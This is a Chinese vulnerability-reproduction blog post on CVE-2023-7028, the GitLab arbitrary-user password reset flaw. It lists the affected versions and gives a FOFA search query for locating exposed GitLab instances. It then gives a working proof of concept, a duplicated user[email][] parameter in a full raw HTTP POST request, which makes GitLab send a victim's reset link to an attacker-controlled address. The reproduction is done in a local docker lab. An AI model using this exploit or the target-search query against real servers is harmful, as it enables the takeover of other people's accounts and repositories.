漏洞复现--GitLab 任意用户密码重置漏洞(CVE-2023-7028)

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab 仅对可信地址开放。

二:漏洞影响版本

16.1 <=GitLab CE<16.1.6

16.2 <=GitLab CE<16.2.8

16.3 <=GitLab CE<16.3.6

16.4 <=GitLab CE<16.4.4

16.5 <=GitLab CE<16.5.6

16.6 <=GitLab CE<16.6.4

16.7 <=GitLab CE<16.7.2

16.1 <=GitLab EE<16.1.6

16.2 <=GitLab EE<16.2.8

16.3 <=GitLab EE<16.3.6

16.4 <=GitLab EE<16.4.4

16.5 <=GitLab EE<16.5.6

16.6 <=GitLab EE<16.6.4

16.7 <=GitLab EE<16.7.2

三:网络空间测绘查询

fofa:
app="GitLab"

四:漏洞复现

由于此漏洞利用条件为需获取系统已有用户注册邮箱地址,此次复现在本地搭建docker环境复现。

访问找回密码页面:/users/password/new,输入目标邮箱,抓包

POC:
user[email][]=mubiao@email.com&user[email][]=attacker@email.com

构造数据包,注意authenticity_token字段每次是不同的

复制代码
POST /users/password HTTP/1.1
Host: 192.168.200.130:9980
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.200.130:9980
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.130:9980/users/password/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: preferred_language=zh_CN; 16.5.4-hide-alert-modal=true; known_sign_in=YlhGQWZqemF5Ri90bGh3WkZKdmQ0amtrSTVJdmtSTXRycWxQRjB3Tm1aTDczTnpmaGVLY1JPanZEdENQV3FRNmVsS3FWOG5YQzJIK2tpMytwMVV4MnZ1YlhUZFZzK2xHVVZ6TlAxWlJicjBDdmovdWpXVng1RzBYMlVtbENHV0ktLUhqYnNYM2pDM3pOdk1wN2wraGJLNVE9PQ%3D%3D--0ca69ec494c505a0cfec65e71a8c2315e444fcff; _gitlab_session=95c98f8c215016ce1c31bcd676c8c9d0
Connection: close

authenticity_token=XK1-wmJyvT2Jre1VEQ2ufEmR2GmsSju99_kJRgczjgIJArZH5yT2h44izgBfX0x0OW9VLtQbUz2yt9w--1wNag&user%5Bemail%5D=mubiao%40email.com&user%5Bemail%5D=attacker@email.com

跟随重定向

可以看到提示,如果两个邮箱都成功注册过,那么攻击者邮箱将会收到目标用户的重置密码邮件

相关推荐
Hello:CodeWorld2 小时前
【C++ 避坑指南】告别缓冲区溢出!全面解析 std::snprintf 的安全美学与核心陷阱
开发语言·c++·安全
中云DDoS CC防护蔡蔡2 小时前
游戏杀手- ACCN
运维·服务器·经验分享·网络安全·ddos
暮云星影2 小时前
瑞芯微rk3566开发FIT Secure Boot
linux·arm开发·驱动开发·安全
网络研究院4 小时前
美国网络安全趋势与发展
网络·安全·美国·趋势·发展
AI78404 小时前
安全左移:网络安全从“亡羊补牢”走向“未雨绸缪”
网络·安全·web安全
杨先生哦4 小时前
【2026热端攻防系列 3/12】反射型&存储型XSS全解:AI批量免杀、WAF绕过与企业级防御
前端·人工智能·笔记·web安全·xss
网络研究院5 小时前
美国网络安全法律与实践
网络·安全·美国·法律·实践
盟接之桥5 小时前
制造业汽车零配件EDI软件场景方案
网络·安全·低代码·汽车·制造
老高学长5 小时前
企业如何对局域网电脑进行监控?五个局域网电脑实时监控的方法分享,全方位监控电脑
网络·安全·电脑
Rain5095 小时前
2.3. 安全配置:环境变量与 API 密钥管理
前端·人工智能·后端·安全·ai·node.js·ai编程